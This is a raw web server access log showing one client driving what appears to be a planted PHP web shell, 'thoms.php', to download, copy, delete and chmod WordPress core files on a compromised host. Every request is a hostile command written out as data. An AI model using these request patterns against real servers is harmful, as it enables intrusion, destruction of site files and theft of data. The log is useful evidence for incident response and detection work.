45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /thoms.php?dl=bookmark.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59307 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fconnectors.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fconnectors.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:58 -0400] "GET /thoms.php?dl=utf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:58 -0400] "GET /thoms.php?dl=class-wp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 200 13316 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 200 14316 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:58 -0400] "GET /thoms.php?del=block-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /thoms.php?del=class-wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /big-wife.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 200 13186 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /big-wife.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /big-wife.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:59 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?dl=class-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 200 20322 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:00 -0400] "GET /thoms.php?del=css&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59353 "http://163.245.207.76:443/thoms.php?del=css&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:01 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 200 14739 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:01 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:01 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59418 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:01 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:01 -0400] "GET /thoms.php?del=comment-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59396 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fload.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fload.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /big-wife.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 200 17860 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?del=images&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?del=images&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 13504 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?dl=class-wp-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fmedia.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fmedia.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-default-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-default-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:02 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:03 -0400] "GET /big-wife.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:03 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:03 -0400] "GET /thoms.php?del=ms-default-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:03 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:03 -0400] "GET /thoms.php?dl=rest-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:03 -0400] "GET /big-wife.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 200 13146 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /big-wife.com.tw/wp-includes/Requests/ HTTP/1.1" 200 806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 200 12308 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 13354 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /big-wife.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /big-wife.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?del=http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?del=http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?chmod=kses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?chmod=media.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /big-wife.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:04 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /big-wife.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fversion.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fversion.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 200 12345 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /thoms.php?dl=ms-load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /thoms.php?chmod=registration-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:05 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59392 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:06 -0400] "GET /thoms.php?chmod=class-phpass.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:06 -0400] "GET /thoms.php?del=vars.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=vars.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
